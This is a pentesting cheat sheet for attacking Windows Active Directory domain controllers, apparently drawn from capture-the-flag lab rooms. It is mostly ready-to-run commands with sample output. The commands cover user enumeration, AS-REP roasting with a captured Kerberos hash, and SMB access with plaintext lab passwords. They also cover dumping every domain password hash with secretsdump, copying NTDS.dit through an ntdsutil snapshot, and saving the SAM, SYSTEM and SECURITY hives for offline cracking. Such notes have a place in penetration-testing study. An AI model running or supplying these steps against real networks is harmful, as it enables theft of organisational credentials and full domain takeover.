Domain Controllers

Basics

  • Find the NETBIOS Domain Name

nbtscan -v 10.10.8.1-254

  • Should also be in nmap output

3389/tcp  open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   DNS_Tree_Name: spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2021-08-20T18:00:52+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local

  • Add to /etc/hosts

Kerbrute

  • Find valid users

  • Example Syntax

kerbrute -users userlist.txt -domain spookysec.local -dc-ip 10.10.55.114
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation

[*] Valid user => james
[*] Valid user => svc-admin [NOT PREAUTH]
[*] Valid user => James
[*] Valid user => robin
[*] Blocked/Disabled user => guest
[*] Valid user => darkstar

Impacket

  • Location:

/usr/share/doc/python3-impacket/examples/

  • If we have IPC$ access without authentication we are able to list the domain users as anonymous

python3 lookupsid.py anonymous@10.10.10.10 | tee users.txt

  • Isolate the users with SidTypeUser

grep SidTypeUser users.txt | awk '{print $2}' | cut -d "\\" -f2 > users.txt

  • Now, let’s use GetNPUsers.py to find users without Kerberos pre-authentication:

python3 GetNPUsers.py vulnnet-rst.local/ -no-pass -userfile usernames.txt

  • Should retrive a hash if the command is sucessful

$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:692e76f70a8772c46ed94e73130460c8$713b0693498fdaff68642d78e713ca965e5007d5d864ca727289930783fe28f00bf79fef8126c4722d09cafc72ec60e940d31297591f67ce049030cb531ddd9c83cd37796fbf414b830a7c90fe26d2c45d6f2b624cd4413c58e3dbb77519dd69906248f8db27b1974b880a826003e562e25d9de9e4cb7cfa85c1de954761053b7d51a455530001348b46909f91f4e80bae7374071339f0920bb3e2ad95169d20f05d0cd586882facb63c058072dacb7ec8ddbcd9297331e1f6fb6d844ea7967659bee38fde4431af9f9608e9adcb38cb6e20e72bcf61c524f480b5ea2530e16dbeed2272855a61a05c03e84653aa1a3bbbd5ece06633

  • Crack the hash with john

SMB Samba authenticated access

smbclient -U vulnnet-rst.local/t-skid //10.10.100.15/NETLOGON
smbmap -u svc-admin -p management2005 -H 10.10.248.93
smbclient -U spookysec.local/svc-admin \\\\10.10.248.93\\backup

  • Cat out files with smb

Enter VULNNET-RST.LOCAL\t-skid's password: 
Try "help" to get a list of possible commands.
smb: \> ls

Dump hashes

  • Use secretsdump.py with impacket

  • This will allow us to retrieve all of the password hashes that this user account (that is synced with the domain controller) has to offer.

  • Creds used need to be domain admin for this to work

python3 secretsdump.py vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.10.100.15
python3 secretsdump.py spookysec.local/backup:backup2517860@10.10.248.93
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

Alt Method

  • Open cmd.exe

  • Run ntdsutil from the command prompt, enter these commands

snapshot
activate instance NTDS
create

  • Takes a snapshot of the DC

  • Will show you the UUID of the newly created snapshot.

  • ntdsutil is using Volume Shadow Copy for the snapshot creation, but also ensures the database consistency. Use the UUID for the following command:

mount <UUID>

  • The output will show the path where the snapshot was mounted. Start another cmd.exe as Administrator and copy NTDS.dit (located in Windows\NTDS\NTDS.dit by default).

  • Create a copy of the SYSTEM registry hive:

reg.exe save HKLM\SYSTEM <path_where_you_want_to_save_it>

  • Go back to the cmd.exe window with ntdsutil running, and unmount (and optionally delete) the snapshot and exit:

unmount <UUID>
delete <UUID>
quit
quit

  • Using the two saved files (NTDS.dit and SYSTEM registry hive) you can use the same secretsdump.py script to extract password hashes offline (doesn’t need to be done on the domain controller):

secretsdump.py -system <path_to_system_hive> -ntds <path_to_ntds.dit> LOCAL

Secretsdump Local

  • Exfil the registry hives

reg.exe save hklm\security C:\temp\security.save
reg.exe save hklm\system C:\temp\system.save
reg.exe save hklm\SAM C:\temp\sam.save

  • Extract hashes from exfiled SECURITY SAM and SYSTEM

python3 secretsdump.py -security security.save -system system.save -sam sam.save LOCAL
